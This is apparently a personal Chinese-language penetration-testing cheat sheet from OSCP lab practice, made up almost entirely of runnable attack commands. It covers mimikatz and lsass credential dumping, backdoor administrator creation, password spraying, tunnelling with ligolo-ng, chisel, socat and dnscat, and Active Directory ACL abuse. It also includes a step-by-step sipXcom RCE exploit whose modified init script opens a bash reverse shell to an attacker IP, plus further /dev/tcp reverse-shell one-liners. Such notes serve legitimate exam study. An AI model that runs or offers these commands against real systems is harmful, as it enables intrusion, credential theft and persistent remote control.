$cmd.CommandText = "SELECT * FROM fn_my_permissions(NULL, 'SERVER')"; $cmd.ExecuteScalar()
# 数据库级别权限
$cmd.CommandText = "SELECT * FROM fn_my_permissions(NULL, 'DATABASE')"; $cmd.ExecuteScalar()
# SQL Server 版本
$cmd.CommandText = "SELECT @@version"; $cmd.ExecuteScalar()
# 服务器名称
$cmd.CommandText = "SELECT @@SERVERNAME"; $cmd.ExecuteScalar()
# 当前数据库
$cmd.CommandText = "SELECT DB_NAME()"; $cmd.ExecuteScalar()
mssql提权技巧
这是MSSQL的权限提升利用,通过IMPERSONATE权限实现:
首先检查能否模拟其他用户:
-- 查询可以模拟的用户
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
发现可以模拟hrappdb-reader用户
执行模拟:
EXECUTE AS LOGIN = 'hrappdb-reader'
模拟成功后就获得了hrappdb-reader的权限,可以访问hrappdb数据库
64.mimikatz
# mimikatz 一键执行命令
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe /c "privilege::debug" /c "token::elevate" /c "lsadump::sam"
mimikatz "privilege::debug" "token::elevate" "lsadump::sam"
# 所有的凭证提取
lsadump::sam sekurlsa::msv lsadump::secrets lsadump::cache
mimikatz.exe "lsadump::sam" "privilege::debug" "sekurlsa::msv" "lsadump::secrets" "lsadump::cache" "exit"
# 提取所有登录凭证
mimikatz.exe "token::elevate" "privilege::debug" "sekurlsa::logonpasswords" "exit"
# 或者专门提取域管理员的
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords /user:administrator" "exit"
# 提取可能存在的账号密码
mimikatz.exe "privilege::debug" "sekurlsa::credman" "exit"
# 如果是管理员 可以尝试获取当前计算机上的票据
通过sekurlsa模块(从lsass内存):
# 从运行的lsass进程
sekurlsa::tickets # 查看所有票据
sekurlsa::tickets /export # 导出所有票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets" "exit"
# 从dump文件
sekurlsa::minidump lsass.dmp # 加载dump
sekurlsa::tickets # 查看dump中票据
通过kerberos模块(从当前会话):
powershellCopy# 查看票据
kerberos::list # 列出当前会话票据
kerberos::tgt # 查看当前TGT
kerberos::purge # 清除所有票据(你说的这个)
# 导出票据
kerberos::list /export # 导出所有票据
# 默认导出为.kirbi文件
# 票据操作
kerberos::ptt ticket.kirbi # 注入票据(Pass The Ticket)
# 域控制器同步dcsync
.\mimikatz.exe
lsadump::dcsync /user:DC01\web_svc
lsadump::dcsync /user:corp\Administrator
65.域管登录历史
# 查看域管理员的登录会话
query user /server:localhost
# 检查注册表中的登录历史
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"
# 创建 lsass dump
procdump.exe -ma lsass.exe lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp
pypykatz lsa minidump lsass.dmp
# 然后用 Mimikatz 分析
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
66.域内信息收集
# 查看域控制器
nltest /dclist:medtech.com
# 或者
nslookup -type=SRV _ldap._tcp.medtech.com
nslookup -type=SRV _gc._tcp.medtech.com
67.ligolo-ng
https://github.com/nicocha30/ligolo-ng/releases/tag/v0.7.3
攻击机
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert
靶机
.\agent.exe -connect 192.168.45.184:11601 -ignore-cert
配置路由
sudo ip route add 10.10.174.0/24 dev ligolo
session # 显示所有可用会话
session list # 列出所有会话
session <ID> # 选择特定会话ifconfig # 显示网络接口配置
info # 显示当前会话信息
listener_list # 显示所有监听器
bashCopystart # 启动所选会话
stop # 停止当前会话
68.windows添加用户到远程桌面组
#打开远程桌面
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
cmd /c net user gesila Admin@123 /add
cmd /c net localgroup Administrators gesila /add
cmd /c net localgroup "Remote Desktop Users" gesila /add
# 域格式如下
xfreerdp /u:medtech.com\\joe /p:Flowers1 /v:192.168.170.121 +clipboard /drive:data,/data /workarea
# 本地如下
xfreerdp /u:gesila /p:123456 /v:192.168.183.247 +clipboard /drive:data,/data /workarea
引用文件这样就行
xfreerdp file.rdp /d:skylark /u:kiosk /p:'XEwUS^9R2Gwt8O914'
69.windows_history
C:\Users\wario\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
70.powershell
$pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage
Enter-PSSession -ComputerName CLIENT02 -Credential $cred
Enter-PSSession -ComputerName 172.16.131.83 -Credential $cred
New-PSSession -ComputerName CLIENT02 -Credential $cred
New-PSSession -ComputerName 172.16.131.83 -Credential $cred
# 1. 使用会话ID进入已创建的会话
Enter-PSSession -Session (Get-PSSession -Id 18)
# 2. 或者使用ComputerName直接创建并进入新会话
Enter-PSSession -ComputerName CLIENT02 -Credential $cred
# 列出所有会话
Get-PSSession
# 删除会话
Remove-PSSession -Id 18
# 断开会话但不删除
Disconnect-PSSession -Id 18
# 重新连接会话
Connect-PSSession -Id 18
#
icacls .\auditTracker.exe
# 看具体权限
Get-Acl .\auditTracker.exe
# 以高权限运行
sc.exe start audtiTracker
sc.exe qc auditTracker
# 查看文件是什么权限运行的
Start-Process .\auditTracker.exe -Verb RunAs
Get-Service auditTracker | Select-Object *
# 查看服务
Get-Service "auditTracker"
schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} | Select TaskPath,TaskName
schtasks /query /tn "任务名" /fo LIST /v
$task = Get-ScheduledTask -TaskName "任务名"
$task | Select *
71.域内枚举
这两个我用了很久了 但是有些版本的有些参数不一样 就全记一下吧
crackmapexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success
# crackmapexec延时有问题 用jitter会报错 还是用netexec好点
netexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success --jitter 5
有时候Connection Error: Error while reading from remote 需要手动验证一下
# 整体参数 可指定域名
crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success
# https://github.com/ropnop/kerbrute/releases
# 用于Kerberos爆破
.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
可以放到域成员主机上跑
72.漏洞其他用法
# 读取当前运行该程序用户身份
http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/status
http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/environ
keepass2john Database.kdbx > 1.txt
keepassxc Database.kdbx
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt
73.imap
imap命令
# 先登录
a001 LOGIN maildmz@relia.com DPuBT9tGCBrTbR
# 列出所有邮箱
a002 LIST "" "*"
# 选择收件箱
a003 SELECT INBOX
# 查看邮件
a004 FETCH 1:* FULL
# 查看状态
a005 STATUS INBOX (MESSAGES)
# 列出所有文件夹
a006 LSUB "" "*"
74.Library-MS File Attack
wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/oscp/Relia/webdav
75.postgres
https://www.cnblogs.com/renhaoblog/p/15035230.html
psql -h localhost -p 5432 -U postgres
# 指定数据库名称(默认是 postgres 数据库)
sudo /usr/bin/psql postgres
# 或者
sudo -u postgres /usr/bin/psql postgres
# 或者使用连接字符串
sudo /usr/bin/psql "postgresql:///postgres?user=postgres"
CREATE ROLE root WITH SUPERUSER LOGIN;
sudo psql -U postgres
76.windows服务
# CMD命令
sc query # 查询所有服务的基本信息
sc query state=all # 查询所有状态的服务
sc qc <服务名> # 查询特定服务的详细配置信息
sc stop <服务名>
sc start <服务名>
发现服务进程
tasklist | findstr GPGService
关闭它
taskkill /F /IM GPGService.exe
# PowerShell命令
Get-Service # 查看所有服务
Get-Service | Where-Object {$_.Status -eq "Running"} # 查看正在运行的服务
Get-Service -Name "服务名" # 查看特定服务
# 列出所有服务并筛选关键信息
sc query state= all | find /i "SERVICE_NAME" # 先获取所有服务名
# 然后遍历每个服务名查询配置
for /f "tokens=4 delims=: " %i in ('sc query state^= all ^| find /i "service_name"') do @sc qc %i | find /i "BINARY_PATH_NAME"
# 或者查找以LocalSystem运行的服务
for /f "tokens=4 delims=: " %i in ('sc query state^= all ^| find /i "service_name"') do @sc qc %i | find /i "SERVICE_START_NAME"
Get-WmiObject win32_service | Select-Object Name, PathName, StartName
sc query type= service | findstr /i "dev"
77.Windows DLL/EXE 搜索顺序漏洞利用
当服务路径中包含空格且没有使用引号时,Windows会按照以下顺序查找可执行文件:
CopyC:\Skylar.exe
C:\Skylar\Development.exe # 这就是为什么你的利用成功了!
C:\Skylark\Development Binaries.exe
C:\Skylark\Development Binaries 01.exe
C:\Skylark\Development Binaries 01\DevService.exe
在你的案例中:
服务路径是:C:\Skylark\Development Binaries 01\???????.exe
Windows遇到无法解析的文件名(?????)时,会按照上述顺序查找
你在C:\Skylark\放置了Development.exe
这正好匹配了搜索顺序中的第二个位置
漏洞的关键点:
路径中包含空格
路径没有用引号括起来
Windows的自动路径解析机制
78.tftp(udp)
之前在vulnhub上用过这个服务 但是没做笔记 这个特点就是没有dir之类的命令 文件全靠猜
# 进入tftp交互模式
tftp 192.168.214.222 69
# 在交互模式中:
binary # 设置二进制传输模式
get file # 下载文件
put file # 上传文件
# 下载文件
atftp -g -r filename 192.168.214.222 69
# 上传文件
atftp -p -l localfile 192.168.214.222 69
# 下载文件
tftp 192.168.214.222 -c get remotefile.txt
# 上传文件
tftp 192.168.214.222 -c put localfile.txt
配置文件
cat /etc/xinetd.d/tftp
https://nmap.org/nsedoc/scripts/tftp-enum.html
nmap -sVU -p69 --script tftp-enum 192.168.214.222
/usr/share/metasploit-framework/data/wordlists/tftp.txt
79.CoreDial sipXcom sipXopenfire CVE-2023-25355 CVE-2023-25356 RCE/EXP
很有意思的一个漏洞利用,期间非常非常坎坷,我在discord和claude的帮助下才勉强完成这一部分,可能是因为全部搞完了才觉得有意思,在我学习的过程中我感觉人都要傻了,在漏洞利用的过程中我整个人都是懵的,卡在这里共计一天半,基本上是做一部分就要思考,而且路上一直不行,一直不行,明明还不是特别了解漏洞利用原理就一直复现失败,好在最后解决了,并且如果一帆风顺或许我不会记这么牢也不会深刻了解这个东西,这个应用,在google的路上全都是cve编号,没有人搞这个东西。
先说关键点 https://sploitus.com/exploit?id=1337DAY-ID-38254 #这个博客是唯一讲解了这个漏洞原理的
这个博客我没有搜到过,我在discord里面找,他们给的链接都已经被删除,找不到原文,这是其他网站的备份,我已经下载到本地了,这也是我路上的一个误区,discord给的链接一直访问不了,我本以为就是这样,后续才发现是被删除了。
这个博客贯穿这个漏洞,基本上想要的东西都在里面,如果想自动化利用可以试试https://github.com/AlexLinov/sipXcom-RCE
我正是因为自动化不行才来做这个的,接下来解析复现这个漏洞。(因为OSCP保密协议我打码会非常多)
首先得有个凭证,低权限用户的就行,至于在哪里拿得看自己
确保能登陆。运行pidgin 记得以非root权限加上目标ip+port运行 这也是关键点 我不清楚这是否有影响但至少我全改好了之后就能成功了
确保能登陆。运行pidgin 记得以非root权限加上目标ip+port运行 这也是关键点 我不清楚这是否有影响但至少我全改好了之后就能成功了
编辑
编辑
登录低权限用户,在那个博客里介绍的是可以自行添加用户 也就是点击下面的那个create this new account on the server,这里我没有用那个
如果要走代理的话 不用多余配置 多余配置proxy反而会卡住 可以提示一下 就是在退出后重新打开的时候 会卡住 没有任何反应 rm -rf ~/.purple/ 运行这个命令就行 删除配置文件 再打开就好了
遇到弹窗就点accept同意就行了 不然进不去 还有的就是 Domain是一定要填的 而且对应的domain和ip要加到host里面 不然可能索引不到服务器
编辑
绿灯才算连接成功 其他情况肯定是配置出问题了 网络软件都有可能
编辑
编辑
填这里就行 主要是聊天添加好友 填自己都行 填完add加进去
编辑
添加完啥都没有 看上面的图 全部勾上 我这里初始化是只勾了两个 只有这样才能看到所有用户 包括没同意好友离线之类的
编辑
双击图标聊天框就出来了 构造payload
首先监听本地80端口
nc -lvnp 80
聊天框输入下面的东西
@call abc -o /tmp/dummy -d @/opt/openfire/logs/sipxopenfire-im.log http://192.168.xx.xx/abc
编辑
不出意外就如上图 里面是存在密码的 原理就是里面存了聊天记录 可能有些有意思的东西 比如管理员的密码 看就行了
找到了管理员密码就可以构造exp了 原理就是他用了一个操作用来覆盖/etc/init.d/openfire 当重启sipXopenfire的时候会重新加载配置文件 就会调用里面的sh 导致RCE 有一行有反弹shell的命令 记得改ip/port
#!/bin/sh
#
# openfire Stops and starts the Openfire XMPP service.
#
# chkconfig: 2345 99 1
# description: Openfire is an XMPP server, which is a server that facilitates \
# XML based communication, such as chat.
# config: /opt/openfire/conf/openfire.xml
# config: /etc/sysconfig/openfire
# pidfile: /var/run/openfire.pid
#
# This script has currently been tested on Redhat, CentOS, and Fedora based
# systems.
#
#####
# Begin setup work
#####
# Initialization
PATH="/sbin:/bin:/usr/bin:/usr/sbin"
RETVAL=0
# Check that we are root ... so non-root users stop here.
if [ "`id -u`" != 0 ]; then
echo $0 must be run as root
exit 1
fi
su -s /bin/sh -c "bash -i >& /dev/tcp/192.168.96.128/4444 0>&1"
# Get config.
[ -f "/etc/sysconfig/openfire" ] && . /etc/sysconfig/openfire
if [ -f "/etc/init.d/functions" ]; then
FUNCTIONS_FOUND=true
. /etc/init.d/functions
fi
# If openfire user is not set in sysconfig, set to daemon.
[ -z "$OPENFIRE_USER" ] && OPENFIRE_USER="daemon"
# If pid file path is not set in sysconfig, set to /var/run/openfire.pid.
[ -z "$OPENFIRE_PIDFILE" ] && OPENFIRE_PIDFILE="/var/run/openfire.pid"
# -----------------------------------------------------------------
# If a openfire home variable has not been specified, try to determine it.
if [ -z "$OPENFIRE_HOME" -o ! -d "$OPENFIRE_HOME" ]; then
if [ -d "/usr/share/openfire" ]; then
OPENFIRE_HOME="/usr/share/openfire"
elif [ -d "/usr/local/openfire" ]; then
OPENFIRE_HOME="/usr/local/openfire"
elif [ -d "/opt/openfire" ]; then
OPENFIRE_HOME="/opt/openfire"
else
echo "Could not find Openfire installation under /opt, /usr/share, or /usr/local."
echo "Please specify the Openfire installation location as variable OPENFIRE_HOME"
echo "in /etc/sysconfig/openfire."
exit 1
fi
fi
# If log path is not set in sysconfig, set to $OPENFIRE_HOME/logs.
[ -z "$OPENFIRE_LOGDIR" ] && OPENFIRE_LOGDIR="${OPENFIRE_HOME}/logs"
# Attempt to locate java installation.
if [ -z "$JAVA_HOME" ]; then
if [ -d "${OPENFIRE_HOME}/jre" ]; then
JAVA_HOME="${OPENFIRE_HOME}/jre"
elif [ -d "/etc/alternatives/jre" ]; then
JAVA_HOME="/etc/alternatives/jre"
else
jdks=`ls -r1d /usr/java/j*`
for jdk in $jdks; do
if [ -f "${jdk}/bin/java" ]; then
JAVA_HOME="$jdk"
break
fi
done
fi
fi
JAVACMD="${JAVA_HOME}/bin/java"
if [ ! -d "$JAVA_HOME" -o ! -x "$JAVACMD" ]; then
echo "Error: JAVA_HOME is not defined correctly."
echo " Can not sure execute $JAVACMD."
exit 1
fi
# Prepare location of openfire libraries
OPENFIRE_LIB="${OPENFIRE_HOME}/lib"
# Prepare openfire command line
OPENFIRE_OPTS="${OPENFIRE_OPTS} -DopenfireHome=${OPENFIRE_HOME} -Dopenfire.lib.dir=${OPENFIRE_LIB}"
# Prepare local java class path
if [ -z "$LOCALCLASSPATH" ]; then
LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar"
else
LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar:${LOCALCLASSPATH}"
fi
# Export any necessary variables
export JAVA_HOME JAVACMD
# Lastly, prepare the full command that we are going to run.
OPENFIRE_RUN_CMD="${JAVACMD} -server ${OPENFIRE_OPTS} -classpath \"${LOCALCLASSPATH}\" -jar \"${OPENFIRE_LIB}/startup.jar\""
#####
# End setup work
#####
start() {
OLD_PWD=`pwd`
cd $OPENFIRE_LOGDIR
PID=$(findPID)
if [ -n "$PID" ]; then
echo "Openfire is already running."
RETVAL=1
return
fi
# Start daemons.
echo -n "Starting openfire: "
rm -f nohup.out
su -s /bin/sh -c "nohup $OPENFIRE_RUN_CMD > $OPENFIRE_LOGDIR/nohup.out 2>&1 &" $OPENFIRE_USER
RETVAL=$?
echo
[ $RETVAL -eq 0 -a -d /var/lock/subsys ] && touch /var/lock/subsys/openfire
sleep 1 # allows prompt to return
cd $OLD_PWD
}
stop() {
# Stop daemons.
echo -n "Shutting down openfire: "
PID=$(findPID)
if [ -n "$PID" ]; then
if [ -n "$FUNCTIONS_FOUND" ]; then
echo $PID > $OPENFIRE_PIDFILE
# delay copied from restart
killproc -p $OPENFIRE_PIDFILE -d 10
rm -f $OPENFIRE_PIDFILE
else
kill $PID
fi
else
echo "Openfire is not running."
fi
RETVAL=$?
echo
[ $RETVAL -eq 0 -a -f "/var/lock/subsys/openfire" ] && rm -f /var/lock/subsys/openfire
}
restart() {
stop
sleep 10 # give it a few moments to shut down
start
}
condrestart() {
[ -e "/var/lock/subsys/openfire" ] && restart
return 0
}
status() {
PID=$(findPID)
if [ -n "$PID" ]; then
echo "openfire is running"
RETVAL=0
else
echo "openfire is not running"
RETVAL=1
fi
}
findPID() {
echo `ps ax --width=1000 | grep openfire | grep startup.jar | awk '{print $1}'`
}
# Handle how we were called.
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
condrestart)
condrestart
;;
reload)
restart
;;
status)
status
;;
*)
echo "Usage $0 {start|stop|restart|status|condrestart|reload}"
RETVAL=1
esac
exit $RETVAL
保存这个文件在本地 比如openfire.txt 接下来重写/etc/init.d/openfire文件
@call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.96.128/openfire.txt -o /tmp/dummy
开一个http服务就行
编辑
然后在聊天框输入上面的命令 就能下载成功并覆盖openfire文件
那么最后就只差重启服务了 讲一下我的路 这里包括那个博客也没有将在哪 全靠摸索 记得按照上面的exp监听好端口
编辑
编辑
算是非常详细的教程了 discord里面有些人都说这是一个有趣的box 我也觉得是这样的 当然是在打完之后才会觉得有趣 在重启之后 等一段时间 就会收到root的shell了
80.tcpdump
tcpdump -i any udp -w capture.pcap
81.bsd
目录传统上用于存放临时用户或访客用户的主目录
/usr/guest/
82.windows命令行
#权限
首先获取文件所有权:
takeown /f "C:\Users\k.smith\.ssh\id_rsa"
修改文件权限以获得完全控制:
icacls "C:\Users\k.smith\.ssh\id_rsa" /grant Administrators:F
强制修改权限:
cacls "C:\Users\k.smith\.ssh\id_rsa" /E /P Administrators:F
83.socat
使用更详细的监听命令:
bashCopysocat -v UNIX-LISTEN:/tmp/s,fork STDOUT
或者尝试记录通信内容:
bashCopysocat -v UNIX-LISTEN:/tmp/s,fork "SYSTEM:tee /tmp/socat.log"
也可以尝试与它交互:
bashCopy# 监听并显示所有收到的数据(十六进制格式)
socat -x UNIX-LISTEN:/tmp/s,fork STDOUT
将本地的端口代理出来
# 在目标机器上将本地的8888端口 转移到0.0.0.0的33333上
socat TCP-LISTEN:33333,fork TCP:127.0.0.1:8888
# 反向搭建隧道
# 在攻击机器上:
socat TCP-LISTEN:33333,reuseaddr,fork TCP-LISTEN:8888,reuseaddr,bind=localhost
# 在攻击机器上:
socat TCP:攻击机IP:33333 TCP:127.0.0.1:8888
84.VNC密码
https://www.cnblogs.com/fczlm/p/17759610.html
VNC密码
配置路径:c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini,解密工具:https://github.com/jeroennijhof/vncpwd
TightVNC
TightVNC的加密后密码存在注册表里内,需要管理员权限
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort
解密工具:https://github.com/jeroennijhof/vncpwd
RealVNC
ealVNC的加密后密码存在注册表里内,需要管理员权限。
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password
解密工具:https://github.com/jeroennijhof/vncpwd
首先创建一个包含原始十六进制的文件:
bashCopy# 使用 xxd 创建二进制文件
echo "BFE825DE515A335BE3" | xxd -r -p > vnc.txt
# 然后尝试解密
./vncpwd vnc.txt
或者尝试使用 MSF 的方法:
msfconsole
irb
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt("BFE825DE515A335BE3", fixedkey)
或者尝试另一个版本的 vncpwd:
bashCopygit clone https://github.com/gitdurandal/vncpwd.git
cd vncpwd
make
./vncpwd BFE825DE515A335BE3
vncviewer 192.168.214.220:5900
# 输入密码:R3S3+rcH
85.chisel
服务端监听(攻击机)
# 服务端基本语法
./chisel server --reverse -p 8000
客户端连接(靶机)
# 基本连接
./chisel client 攻击机IP:8000 R:本地监听端口:目标IP:目标端口
常用命令示例:
反向代理单个端口
# 服务端
./chisel server --reverse -p 8000
# 客户端
./chisel client 攻击机IP:8000 R:8001:目标IP:目标端口
SOCKS代理
# 服务端
./chisel server --reverse -p 8000
# 客户端
./chisel client 攻击机IP:8000 R:socks
86.echo的一些性质
# echo如果写的是双引号 会导致#!/bin/bash无法写入
# '单引号没问题
echo '#!/bin/bash' > 1.sh
echo "#!/bin/bash\n" > __fs.sh
# 需要转义需要加-e
echo '#!/bin/bash' > __fs.sh
echo -e "check_filesystems() {\nbash -c 'exec bash -i >& /dev/tcp/192.168.45.184/80 <&1'\n}" > __fs.sh
echo '#!/bin/bash' > 1.sh
echo -e "check_filesystems() {\n\tbash -c 'exec bash -i >& /dev/tcp/192.168.45.184/80 <&1'\n}" >> 1.sh
87.dnscat(dns隧道)
# 第一步:在Kali攻击机上
# 启动dnscat2服务器端
dnscat2-server feline.corp # feline.corp是我们自己指定的域名,随意命名即可
# 第二步:在目标机器上
# 上传dnscat_exercise_client到目标机器
# 执行客户端连接到我们的服务器
./dnscat_exercise_client feline.corp # 使用相同的域名
# 一般上面在公网适合 不过目前一般都是内网 所以指定dns服务器到我们的kali就行
# 在目标机器上:
# 使用--dns参数指定服务器IP和端口
./dnscat --dns server=<kali机器的IP>,port=53
# 或者更完整的命令:
./dnscat --dns server=<kali机器的IP>,port=53 --secret=<密钥值>
# 第三步:在Kali的dnscat2服务器端操作
# 查看连接状态
dnscat2> windows
# 切换到会话
dnscat2> window -i 1
# 设置端口转发
command (目标机器名) 1> listen 0.0.0.0:4455 192.168.176.7:445
88.windows域内详细信息收集
LDAP本地搜索
PowerView
教程 https://powersploit.readthedocs.io/en/latest/Recon/
# 导入
Import-Module .\PowerView.ps1
# 域的基本信息
PS C:\Tools> Get-NetDomain
Forest : corp.com
DomainControllers : {DC1.corp.com}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : DC1.corp.com
RidRoleOwner : DC1.corp.com
InfrastructureRoleOwner : DC1.corp.com
Name : corp.com
# Get-NetUser获取域中所有用户的列表
PS C:\Tools> Get-NetUser
logoncount : 113
iscriticalsystemobject : True
description : Built-in account for administering the computer/domain
distinguishedname : CN=Administrator,CN=Users,DC=corp,DC=com
objectclass : {top, person, organizationalPerson, user}
lastlogontimestamp : 9/13/2022 1:03:47 AM
name : Administrator
objectsid : S-1-5-21-1987370270-658905905-1781884369-500
samaccountname : Administrator
admincount : 1
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
cn : Administrator
whenchanged : 9/13/2022 8:03:47 AM
instancetype : 4
usncreated : 8196
objectguid : e5591000-080d-44c4-89c8-b06574a14d85
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=corp,DC=com
dscorepropagationdata : {9/2/2022 11:25:58 PM, 9/2/2022 11:25:58 PM, 9/2/2022 11:10:49 PM, 1/1/1601 6:12:16 PM}
memberof : {CN=Group Policy Creator Owners,CN=Users,DC=corp,DC=com, CN=Domain Admins,CN=Users,DC=corp,DC=com, CN=Enterprise
Admins,CN=Users,DC=corp,DC=com, CN=Schema Admins,CN=Users,DC=corp,DC=com...}
lastlogon : 9/14/2022 2:37:15 AM
...
# 输出表明cn属性保存了用户的用户名。让我们将输出通过管道传输到select中并选择cn属性
PS C:\Tools> Get-NetUser | select cn
cn
--
Administrator
Guest
krbtgt
dave
stephanie
jeff
jeffadmin
iis_service
pete
jen
# 取出其他属性
Get-NetUser | select cn,pwdlastset,lastlogon
# 类似地,我们可以使用Get-NetGroup来枚举组
PS C:\Tools> Get-NetGroup | select cn
cn
--
...
Key Admins
Enterprise Key Admins
DnsAdmins
DnsUpdateProxy
Sales Department
Management Department
Development Department
Debug
# Get-NetGroup调查销售部门并将输出导入到select member
PS C:\Tools> Get-NetGroup "Sales Department" | select member
member
------
{CN=Development Department,DC=corp,DC=com, CN=pete,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}
# 获得更多信息
# Get-NetComputer PowerView 命令来枚举域中的计算机对象
Get-NetComputer
# 筛选 这个方法可以获得所有域内主机的主机名和系统版本
Get-NetComputer | select operatingsystem,dnshostname
# 以stephanie身份运行(挺重要的 在实战中)
PS C:\> Find-LocalAdminAccess
# 底层实际在做的事:
# 1. 尝试连接机器A的SCM -> 失败(没权限)
# 2. 尝试连接机器B的SCM -> 失败(没权限)
# 3. 尝试连接client74的SCM -> 成功!(说明stephanie是client74的本地管理员)
# 4. 继续尝试其他机器...
# 最终输出
client74.corp.com # 表示对这台机器有管理员权限
# 查找域内主机的任何的已经登录用户 但是需要的权限很多
# 正常就如下 权限不够 需要当前用户能访问目标机器且为管理员才行
# 或者目标机器上对SrvsvcSessionInfo注册表项的访问权限
PS C:\Tools> Get-NetSession -ComputerName files04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied
PS C:\Tools> Get-NetSession -ComputerName web04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied
# 在上面的结果中 实际上对client74有管理员权限 所以应该找这个client74
Get-NetSession -ComputerName client74
# 上面提到了正常来说需要的权限更多 太麻烦了 下面这个不会
https://learn.microsoft.com/en-us/sysinternals/downloads/pstools 可以去官网上下载套件
# 原理就是基于远程注册表服务来查询
.\PsLoggedon.exe \\files04
PsLoggedon v1.35 - See who's logged on
Copyright (C) 2000-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Users logged on locally:
<unknown time> CORP\jeff
Unable to query resource logons
# 当我们查到有一个不同的用户登陆了上去 并且呢 我们有他的管理员权限
# 那么主要操作就是解析lsass
# 域内SPN枚举
setspn -L iis_service
# 导入PowerView
# 对服务账户进行信息收集
Get-NetUser -SPN | select samaccountname,serviceprincipalname
nslookup.exe web04.corp.com
# 域内枚举对象权限
# 理论 下面是权限列表
GenericAll: Full permissions on object
GenericWrite: Edit certain attributes on the object
WriteOwner: Change ownership of the object
WriteDACL: Edit ACE's applied to object
AllExtendedRights: Change password, reset password, etc.
ForceChangePassword: Password change for object
Self (Self-Membership): Add ourselves to for example a group
GenericAll(完全控制):
最高级别的权限
对对象有完全的控制权
可以做任何操作:修改属性、重设密码、添加到组等
实际例子:如果对用户有GenericAll权限,可以直接重置其密码
GenericWrite(写入权限):
能修改对象的大部分属性
不能修改敏感属性(如密码)
例子:可以修改用户的scriptPath属性来实现代码执行
WriteOwner(修改所有者):
可以更改对象的所有者
修改为自己后就能获得完全控制
例子:把组的所有者改为自己,然后就能控制这个组
WriteDACL(修改访问控制):
可以修改对象的访问控制列表
能添加/删除权限
例子:给自己添加GenericAll权限
AllExtendedRights(扩展权限):
包括密码重置等特殊操作权限
不包括常规的属性修改权限
例子:可以重置用户密码
ForceChangePassword(强制修改密码):
专门用于修改密码的权限
不需要知道原密码
例子:直接重置目标用户的密码
Self (Self-Membership)(自我成员身份):
可以将自己添加到组中
只能添加自己
例子:把自己加入到高权限组
# 这里有官方的
# https://learn.microsoft.com/en-us/windows/win32/secauthz/access-rights-and-access-masks
简单的利用方法
GenericAll权限利用:
powershellCopy# 如果对用户UserA有GenericAll权限
net user UserA NewPass123! /domain # 直接改密码
GenericWrite权限利用:
powershellCopy# 修改用户的脚本路径实现代码执行
Set-ADUser -Identity UserA -ScriptPath "\\attacker\share\evil.ps1"
WriteOwner权限利用:
powershellCopy# 先改所有者为自己
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity YourAccount
# 然后就可以进一步操作了
WriteDACL权限利用:
powershellCopy# 给自己添加完整权限
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -Rights All
ForceChangePassword权限利用:
powershellCopy# 直接改密码
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
Self (Self-Membership)权限利用:
powershellCopy# 把自己加入组
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'YourAccount'
# 上面是用法 下面是查询信息 然后根据现有信息来做提权渗透
# 查看当前用户哪些ACE适用于他
PS C:\Tools> Get-ObjectAcl -Identity stephanie
...
ObjectDN : CN=stephanie,CN=Users,DC=corp,DC=com
ObjectSID : S-1-5-21-1987370270-658905905-1781884369-1104
ActiveDirectoryRights : ReadProperty
ObjectAceFlags : ObjectAceTypePresent
ObjectAceType : 4c164200-20c0-11d0-a768-00aa006e0529
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength : 56
